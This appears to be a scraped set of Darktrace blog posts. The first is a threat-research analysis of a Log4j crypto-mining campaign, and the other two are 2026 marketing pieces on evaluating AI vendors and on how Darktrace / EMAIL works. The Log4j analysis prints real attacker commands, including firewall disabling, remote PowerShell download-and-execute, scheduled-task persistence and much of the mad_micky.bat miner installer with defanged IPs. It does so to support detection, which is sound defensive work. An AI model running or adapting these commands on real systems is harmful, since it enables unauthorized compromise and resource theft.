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April 3, 2022

Analyzing Log4j Vulnerability in Crypto Mining Attack

Discover how Darktrace detected a campaign-like pattern that used the Log4j vulnerability for crypto-mining across multiple customers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst
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03
Apr 2022

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

MITRE ATT&CK techniques observed

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Footnotes

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst

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May 27, 2026

How to Evaluate AI Vendors: 5 Key categories for AI Adoption

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Understanding the AI buyers’ market

AI adoption has become a central topic of discussion in boardrooms, drawing growing interest from business leaders. Ultimately, organizations hope that an investment in AI technology will have tremendous returns. However, the process of buying an AI solution is not as straight forward as it appears on the surface.  

While business leaders may be eager to improve productivity across their operations, practitioners responsible for evaluating and selecting AI solutions may not always have the visibility or technical understanding needed to make the right decisions for their business. What is typically marketed as a holistic solution to their most critical problems is usually followed by uncertainty when AI tools are finally operationalized in real environments.

This guide is intended to support security leaders who are under growing pressure to adopt AI tools while navigating complex terminology, vendor claims, and increasingly crowded buying cycles. Ultimately, the goal is to help organizations evaluate and adopt AI in a safe, effective, and well-governed way. To support this, we’ve structured the evaluation framework across five key categories:

  1. Governance, safety, and data controls
  1. Data gathering and training
  1. Model and technique choice
  1. Performance and accuracy validation    
  1. Interpretability, adjustability, and transparency    

What buying AI looks like in cybersecurity

While investing in AI can bring immense benefits to your security team, first-time buyers of AI cybersecurity solutions may not know where to start. They will have to determine the type of tool they want, know the options available, and evaluate vendors. Research and understanding are critical to ensure purchases are worth the investment.  

With acceleration in AI adoption, accompanied by the recent boom in agentic AI and autonomous agents, CISOs must look “beneath the hood" of these tools to understand how they work, how they are governed, and to ensure the system is secure and compliant with internal policies.

Challenges in the AI buyers’ marketplace  

The AI security software market is buzzing with hype and flashy promises, which, understandably, needs to be addressed with due diligence. Potential buyers, especially in the cybersecurity space, are hesitant when it comes to allowing AI autonomous capabilities across their workflows, and a lack of vendor transparency can exacerbate those feelings.  

Reinforcing this sentiment, research from this year's Darktrace’s State of AI Cybersecurity report shows where confidence and hesitancy emerge amongst potential buyers. On the one hand, security professionals agree that they have good visibility into the logic and reasoning processes their AI solutions use. However, they lack the explainability and trust to allow AI to take independent remedial action.

  • 89% say they have good visibility into the reasoning behind the outputs generated by AI solutions
  • 92% say they need to understand how a defensive AI tool makes decisions before they can trust it
  • Only 14% say they allow AI to act independently, performing autonomous actions without human approval
  • 74% say they are limiting the autonomy of AI taking action in their SOC until explainability improves

Given the desire for trust and explainability we are seeing from buyers, it's important for them to be equipped with the right questions to ask vendors during an assessment or POV of AI tools in order to demystify marketing hype from real operational outcomes.

Below is a list of categories in which buyers can assess AI vendors or AI Service Providers (AISPs) to help reach safe adoption and maximize their ROI.  

5 categories of AI vendor assessment

Darktrace groups these AI-related questions into 5 categories: governance, data and training, model and technique choice, performance validation, and interpretability and adjustability. By asking questions regarding each of these 5 categories, buyers can gain a deeper understanding of how an AISP’s systems work and whether they suit their business requirements.

Governance, safety, and data controls

Governance of AI systems is critical for all AISPs. Whether their platform is based around a single model, or is a more complex, composite AI solution, strong governance is essential to ensure the system is safe, robust, and reliable.

A simple question you could ask is:

What AI governance policies and frameworks do you follow, and/or certifications do you currently maintain?

For more questions you can ask vendors, download the full guide here.

Darktrace is certified to the ISO/IEC 42001 standard, the world’s first AI Management System (AIMS) standard. ISO/IEC 42001 addresses the unique ethical and technical challenges AI poses by setting out a structured way to manage risks such as transparency, accuracy, and misuse. This includes a commitment to ethical AI development, and effective management and monitoring of AI systems both prior to and continually after release.

Data gathering and training

Accurate, meaningful, and unbiased data gathering is the first important step in producing any AI system. An AI model trained using inaccurate, unbalanced, or poor-quality training data will fail to perform optimally.

To alleviate concerns regarding training data quality, a question you could ask is:

What steps do you take to prevent bias in your AI models and training data?

For more questions, download the full guide here.

AISPs should be able to provide information about the steps taken, workflows followed, and auditing performed to reduce AI bias where appropriate. While it’s sometimes impossible to fully remove bias from an AI model, appropriate actions should be taken to mitigate or reduce bias where relevant.

Model and technique choice

Different AI techniques are optimal for different tasks. For example, research from Gartner suggests that relying on a single “one-size-fits-all" model can lead to data gaps, especially in highly specialized domains.

To achieve more accurate and robust AI solutions, AI leaders should move beyond using just one model or technique, embrace composite AI practices, and adopt a holistic AI system perspective.

A straightforward question you could ask is simply:

What type(s) of AI model(s) do you utilize in your solution?

For more questions, download the full guide here.

While specific detailed information about custom systems used by AISPs is likely proprietary, buyers should expect vendors to be able to provide an overview of the broad techniques used. This will allow you as a buyer to determine if the type of model is appropriate for your use case.

Performance and accuracy validation  

Testing and evaluation of performance is essential for all AI systems. Performance analysis should be performed both before release and continually after release to identify potential data or model drift.  

A question you could ask to understand an AISPs testing workflow is:

How do you audit, test, evaluate, verify, and validate your AI model outputs?

For more questions, download the full guide here.

Testing workflows will likely vary depending on the type of model – measurements relevant to one system may not always be relevant to others. Assessment of systems should also extend beyond these standard accuracy and robustness tests, and should also feature physical performance, such as latency and resource consumption.  

Interpretability, adjustability, and transparency  

AI systems are typically a black box, simply providing an output without an explanation of how that output was attained. Interpretability and transparency are critical to ensure that both SOC teams and end-users trust the outputs of a system to be accurate and meaningful.

A question you could ask is:

How do you promote a trust relationship between human analysts and AI outputs?

For more questions, download the full guide here.

In the context of cybersecurity, trust and interpretability are even more essential. This is particularly relevant for generative AI-based systems (including most AI Agents), where the risk of hallucination can reduce trust in responses.

Cybersecurity systems often need to perform autonomous actions to block incoming threats – an email filtering system may hold potentially dangerous emails; a firewall may block malicious inbound connections. If SOC teams can’t trust these systems to perform accurately, these systems may be limited or disabled, critically reducing their defensive power.

Darktrace as an AI-native cybersecurity vendor

Darktrace has been building and applying AI in cybersecurity for over a decade, developing its capabilities alongside an increasingly complex and fast‑moving threat landscape. This experience has resulted in a mature, multi-layered approach to AI, which continuously learns the normal patterns of each organization to understand behavior, interpret context, and identify meaningful deviations — without relying on predefined rules or known attack signatures. Over time, this has enabled a proven behavioral understanding that helps uncover subtle signals of risk that may otherwise be missed.

With the backing of our ISO/IEC 42001 certification, stakeholders, customers, and partners can be confident that Darktrace is responsibly, ethically, and safely developing its AI systems, and managing the use of AI in day-to-day operations in a compliant and secure manner.  

Explore the principles behind Darktrace’s responsible AI approach, informed by collaboration with global experts in academia and governments, detailing how accountability, explainability, and continuous validation are built into its cybersecurity technology.

How Darktrace secures AI systems

Darktrace now brings these capabilities to monitor and respond to risk generated from AI systems across organizations with Darktrace / SECURE AI. This solution analyzes how prompts, agents, and systems are used within the context of each organization, bringing every AI interaction into a single view. This unique approach helps teams understand intent, assess risk, protect sensitive data, and enforce policy across both human and AI agent activity.

Stay up to date

Sign up for the Secure AI Readiness Program here: This gives you exclusive access to the latest news on the latest AI threats, updates on emerging approaches shaping AI security, and insights into the latest innovations, including Darktrace’s ongoing work in this area.

Ready to talk with a Darktrace expert on securing AI? Register here to receive practical guidance on the AI risks that matter most to your business, paired with clarity on where to focus first across governance, visibility, risk reduction, and long-term readiness.  

Further Reading on AI in cybersecurity

When deciding to invest in an AI solution, it’s important to understand what this means for you and your organization. The questions presented here are only a starting point in understanding an AI solution and whether it is appropriate for your use case.  

Gain deeper knowledge on applications of AI in cybersecurity and Darktrace’s multi-layered AI in the AI Arsenal White Paper.

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May 26, 2026

Journey of a Threat: How Multi-Layered AI Works in Darktrace / EMAIL

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Darktrace / EMAIL is an implementation of the Darktrace methodology – a multi-layered AI system built into a single product. As with other Darktrace products, Darktrace / EMAIL learns the expected behaviours of an organization and its employees to identify novel threats and anomalous activity.

The diagram below represents the architecture of Darktrace / EMAIL’s multi-layered AI: a structured visualization of how intelligence is built, step by step, from raw data to actionable insight. Each layer plays a distinct role, feeding into the next: collecting data, understanding behaviour, analysing intent, making decisions, and presenting clear outcomes.

It all starts with an email

In this blog, we’ll follow a malicious email as it passes through the Darktrace / EMAIL system, showing exactly what happens as it travels through each layer of the pyramid, from basic data extraction to AI-powered metric creation, and finally deciding on any autonomous actions.

Let’s take this example email. As an end-user, you can see that this is an obvious extortion attempt where an adversary is threatening legal action if money isn’t paid within 24 hours, but how does Darktrace figure that out?

Part 1: Data Gathering

Processing of an email begins on point-of-transit for all inbound, outbound, or lateral emails. The first step is to extract information directly. This includes taking information from the headers (such as sending and receiving addresses, sender IP address, routing, and authentication protocols), as well as extraction of raw HTML and CSS data from the email itself.

This directly extracted information only allows for immediate surface level analysis, such as identifying signature-based attacks (known malicious addresses / domains), but is insufficient for identifying novel threats, complex attacks, or potential email or vendor compromise. This is where Darktrace’s AI analysis shines.

In this example, the SPF, DKIM, and DMARC authentication all passed successfully, showing that even malicious emails can still bypass these signature-based checks. Even with this success, Darktrace will continue to analyse the email.

Diving deeper into the technical information, we can see further information extracted from the headers, including aggregations from the header information, historical calculations such as the frequency and volume of emails to and from a particular domain, and much more.

Part 2: Social Graphing

Social Graphing involves the analysis of sending and receiving behaviours of different mailboxes to create peer-groups. Mailboxes who often send and receive to and from the same mailboxes, or exhibit other correlated behaviours, will be clustered together using a collection of unsupervised AI clustering systems. These groups may represent uses in the same teams who perform similar activity, groups of external facing mailboxes which often receive unsolicited emails, or groups of VIP users (such as C-suite or executives).

Social graphing is an essential component of Darktrace’s pattern of life analysis. This clustering allows Darktrace to understand the responsibilities of individuals – for example, behaviours which are anomalous for one group of users may be completely expected of another group.

In our example, the email was sent to 3 different users within the organization. As part of the social graphing, an “Association Anomaly” is calculated which indicates the likelihood that these users would receive emails from this user or domain, based on historical patterns.

Part 3: Metric Calculation

Metrics are calculated for every email, representing more complex characteristics of an email which can’t be directly extracted. Darktrace / EMAIL features over 1000 unique metrics, calculated both algorithmically and using an ensemble of AI systems.

Algorithmically calculated (non-AI) metrics include further historical calculations, and counts of features such as code blocks, and hidden text, to name a few.

AI-driven metrics include Inducement Classification which uses Natural Language Processing to identify potential phishing, solicitation, or extortion attempts; Named Entity Recognition to identify PII and other sensitive data within an email to support Data Loss Prevention; and many more.

We can follow our example email through this process and view the outcome of these metric calculations. Looking at the language metrics for this email, we can see that our email has reported a high extortion inducement, along with identification of banking information and language indicating urgency.

Part 4: Evaluation and Combination Engine (models)

Once all metrics have been calculated for an email, it gets sent to an evaluation and combination engine where the metrics are compared against blocks of logic to determine if an email contains a threat. One key model which alerted for this example message was a model to tag and block extortion attempts.

Since our example email has a high inducement score for extortion, along the presence of a bitcoin wallet address in the message, this model alerts. When a model in the engine is activated, actions are taken – in this case adding a tag to the email to flag it as extortion in the console and hold the email to prevent it from reaching the end-user mailbox.

Part 5: Meta-Modelling and Actions

Once the models have been run, the actions are taken against the email. If the email hasn’t been blocked or held, this is the point where it will reach the end-user's mailbox.

In the Darktrace / EMAIL UI, all actions models which alerted for an email and actions taken as a result can be seen. At the top of this page, you can see the alert indicating an extortion attempt along with the action to hold the message.

Alongside this, a meta-classifier is used to calculate an overall anomaly score for each email, based on how much the email differs from the pattern of life for the user. The score of the email is boosted by any actions that have taken place.

Part 6: Campaign Clustering

All emails are passed through the Darktrace / EMAIL campaign clustering system. This system creates clusters based on related features within the emails to identify groups of emails with the same sender or intent.

In our case, the email was identified as part of a campaign, alongside other emails which were also identified as extortion attempts against a small group of recipients.

Email campaigns may have additional actions applied to them if the campaign is deemed malicious, and in this case, you can see that the autonomous response was to hold all emails in the campaign. This means that if an email manages to avoid being blocked in the evaluation and combination engine but gets identified as part of the campaign, the hold action will be applied to it retroactively.

Part 7: Cyber AI Analyst

Darktrace’s Cyber AI Analyst presents key information and anomaly indicators for each email, such as further information about authentication, specific metrics, or other identified anomalies and mismatches.

Cyber AI Analyst can also utilize data from Darktrace / EMAIL to enhance its investigation of incidents from other Darktrace products, correlating relevant information to build a fuller picture. More information about the Cyber AI Analyst is available in the Darktrace AI Arsenal.

Part 8: Data Presentation (UI)

Once all processing has taken place against the email, it is presented in the Darktrace / EMAIL UI. Here, members of the SOC team can investigate incidents and anomalies, interact with malicious emails to see why they were blocked, and much more.

Our email stands out here with its 100 anomaly score. Every email which passes through a Darktrace / EMAIL will undergo the same thorough and rigorous analysis to identify potential risks, apply autonomous actions where required, and will ultimately be assigned a score to be displayed here. By providing a single overall score in the UI, rather than presenting emails in full, Darktrace / EMAIL allows SOC teams to more easily identify which emails are most important to investigate, increasing efficiency and reducing alert fatigue.

Take the next step

Many email security tools on the market that claim to be AI-driven are in fact bolting AI onto attack-centric approaches, which rely on automating the identification of known threats. These approaches struggle, and will continue to struggle, with adapting to novel, AI-generated threats.

By analyzing every email within its deeply integrated, multi-layered AI system, Darktrace / EMAIL is able to identify the subtle threats that others miss. This depth not only improves detection accuracy, but enables confident, autonomous action, giving security teams clearer insight into AI outcomes and greater control while supporting users.

For a full deep dive into each stage of the AI system, check out the white paper: A Guide to the Multi-Layered AI in Darktrace / EMAIL

Learn more about securing AI in your enterprise.

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Jamie Bali
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